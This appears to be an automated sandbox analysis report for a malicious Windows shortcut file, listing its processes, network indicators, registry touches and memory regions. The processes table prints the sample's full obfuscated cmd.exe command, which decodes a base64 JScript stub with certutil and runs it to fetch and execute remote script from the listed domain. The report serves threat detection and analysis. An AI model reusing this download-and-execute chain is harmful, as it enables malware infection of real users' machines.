Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
gzLeH3Dmtn.lnk
|
MS Windows shortcut, Item id list present, Has Working directory, Has command line arguments, Archive, ctime=Sun Dec 31 23:06:32
1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized
|
initial sample
|
 |
|
|
C:\YDgC5P9\YDgC5P9.jS
|
ASCII text, with no line terminators
|
dropped
|
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\cmd.exe
|
C:\Windows\system32\cmd.exe /V/D/c md C:\YDgC5P9\>nul 2>&1 &&s^eT XEHH=C:\YDgC5P9\^YDgC5P9.^jS&&echo dmFyIEM0NXQ9InNjIisiciI7RDQ1dD0iaXAiKyJ0OmgiO0U0NXQ9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDNDV0K0Q0NXQrRTQ1dCsiLy9hOGVpeTguaW5ub3ZhdGlvbnNpbnNpZ2h0LmN5b3UvPzMvIik7>!XEHH!&&cErtUtil
-f -dEco^de !XEHH! !XEHH!&&ca^ll !XEHH!
|
|
|
|
C:\Windows\System32\wscript.exe
|
"C:\Windows\System32\WScript.exe" "C:\YDgC5P9\YDgC5P9.jS"
|
|
|
|
C:\Windows\System32\certutil.exe
|
cErtUtil -f -dEcode C:\YDgC5P9\YDgC5P9.jS C:\YDgC5P9\YDgC5P9.jS
|
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
http://a8eiy8.innovationsinsight.cyou/?3/
|
188.114.96.3
|
|
|
|
http://a8eiy8.innovationsinsight.cyou/
|
unknown
|
||
|
hTtP://a8eiy8.innovationsinsight.cyou/?3/l
|
unknown
|
||
|
https://www.cloudflare.com/g
|
unknown
|
||
|
https://www.cloudflare.com/
|
unknown
|
||
|
https://www.cloudflare.com/cdn-cgi/error
|
104.16.123.96
|
||
|
https://www.cloudflare.com/cdn-cgi/errorfM
|
unknown
|
||
|
https://www.cloudflare.com/cdn-cgi/errore.com/
|
unknown
|
||
|
https://www.cloudflare.com/cdn-cgi/errorT
|
unknown
|
||
|
hTtP://a8eiy8.innovationsinsight.cyou/?3/
|
unknown
|
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
a8eiy8.innovationsinsight.cyou
|
188.114.96.3
|
|
|
|
www.cloudflare.com
|
104.16.123.96
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
188.114.96.3
|
a8eiy8.innovationsinsight.cyou
|
European Union
|
|
|
|
104.16.123.96
|
www.cloudflare.com
|
United States
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
LangID
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\System32\WScript.exe.FriendlyAppName
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\System32\WScript.exe.ApplicationCompany
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7
|
Name
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7
|
Name
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7
|
Name
|
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
1D5B8D09000
|
heap
|
page read and write
|
||
|
1D5BAAD0000
|
remote allocation
|
page read and write
|
||
|
1D5BAAD0000
|
remote allocation
|
page read and write
|
||
|
1D5B8D03000
|
heap
|
page read and write
|
||
|
26B1CCE0000
|
heap
|
page read and write
|
||
|
1D5BC490000
|
heap
|
page read and write
|
||
|
1D5B8A90000
|
heap
|
page read and write
|
||
|
1D5B8C60000
|
heap
|
page read and write
|
||
|
814AEFE000
|
stack
|
page read and write
|
||
|
1D5B8E15000
|
heap
|
page read and write
|
||
|
1D5B8E10000
|
heap
|
page read and write
|
||
|
B90AEF9000
|
stack
|
page read and write
|
||
|
B90AAFE000
|
stack
|
page read and write
|
||
|
1D5B8C9A000
|
heap
|
page read and write
|
||
|
1D5B8D58000
|
heap
|
page read and write
|
||
|
1D5B8D11000
|
heap
|
page read and write
|
||
|
1D5B8D27000
|
heap
|
page read and write
|
||
|
1D5BAAD0000
|
remote allocation
|
page read and write
|
||
|
26B1D0B0000
|
heap
|
page read and write
|
||
|
26B1CDD0000
|
heap
|
page read and write
|
||
|
B90ADFF000
|
stack
|
page read and write
|
||
|
1D5B8C8A000
|
heap
|
page read and write
|
||
|
26B1CD50000
|
heap
|
page read and write
|
||
|
B90A8F6000
|
stack
|
page read and write
|
||
|
1D5B8D5A000
|
heap
|
page read and write
|
||
|
1D5B8D1D000
|
heap
|
page read and write
|
||
|
1D5B8D5A000
|
heap
|
page read and write
|
||
|
1D5B8D58000
|
heap
|
page read and write
|
||
|
1D5B8D09000
|
heap
|
page read and write
|
||
|
B90A9FE000
|
stack
|
page read and write
|
||
|
B90AFFE000
|
stack
|
page read and write
|
||
|
814AB8E000
|
stack
|
page read and write
|
||
|
1D5BAAED000
|
heap
|
page read and write
|
||
|
1D5B8D5A000
|
heap
|
page read and write
|
||
|
1D5B8C68000
|
heap
|
page read and write
|
||
|
1D5B8C8B000
|
heap
|
page read and write
|
||
|
1D5B8D11000
|
heap
|
page read and write
|
||
|
1D5BAAED000
|
heap
|
page read and write
|
||
|
B90B1FE000
|
stack
|
page read and write
|
||
|
1D5B8C9B000
|
heap
|
page read and write
|
||
|
26B1ECF0000
|
heap
|
page read and write
|
||
|
1D5B8D03000
|
heap
|
page read and write
|
||
|
1D5B8D2A000
|
heap
|
page read and write
|
||
|
26B1D0B5000
|
heap
|
page read and write
|
||
|
1D5B8E1E000
|
heap
|
page read and write
|
||
|
1D5B8D11000
|
heap
|
page read and write
|
||
|
1D5BAB08000
|
heap
|
page read and write
|
||
|
26B1ED40000
|
heap
|
page read and write
|
||
|
1D5B8C93000
|
heap
|
page read and write
|
||
|
1D5B8BD0000
|
heap
|
page read and write
|
||
|
B90B0FF000
|
stack
|
page read and write
|
||
|
814AB0C000
|
stack
|
page read and write
|
||
|
1D5B8D03000
|
heap
|
page read and write
|
||
|
1D5B8D0D000
|
heap
|
page read and write
|
||
|
1D5B8C93000
|
heap
|
page read and write
|
||
|
B90B2FE000
|
stack
|
page read and write
|
||
|
1D5BA9C0000
|
heap
|
page read and write
|
||
|
26B1CDD8000
|
heap
|
page read and write
|
||
|
B90B3FF000
|
stack
|
page read and write
|
||
|
1D5B8D58000
|
heap
|
page read and write
|
||
|
1D5B8CE5000
|
heap
|
page read and write
|
||
|
1D5B8C24000
|
heap
|
page read and write
|
||
|
1D5B8D1D000
|
heap
|
page read and write
|
||
|
1D5BAB08000
|
heap
|
page read and write
|
||
|
1D5B8DF0000
|
trusted library section
|
page readonly
|
||
|
1D5B8C93000
|
heap
|
page read and write
|
||
|
1D5B8D2A000
|
heap
|
page read and write
|
||
|
1D5B8C20000
|
heap
|
page read and write
|
||
|
1D5B8BF0000
|
heap
|
page read and write
|
||
|
B90ACFE000
|
stack
|
page read and write
|
||
|
1D5B8C88000
|
heap
|
page read and write
|
||
|
814AE7E000
|
stack
|
page read and write
|
||
|
1D5BAAEA000
|
heap
|
page read and write
|
||
|
1D5B8D2A000
|
heap
|
page read and write
|
||
|
1D5BC600000
|
trusted library allocation
|
page read and write
|
||
|
1D5BA9C5000
|
heap
|
page read and write
|
||
|
26B1CD70000
|
heap
|
page read and write
|
||
|
1D5B8D20000
|
heap
|
page read and write
|
||
|
1D5B8D09000
|
heap
|
page read and write
|
||
|
1D5BAAD0000
|
heap
|
page read and write
|
There are 70 hidden memdumps, click here to show them.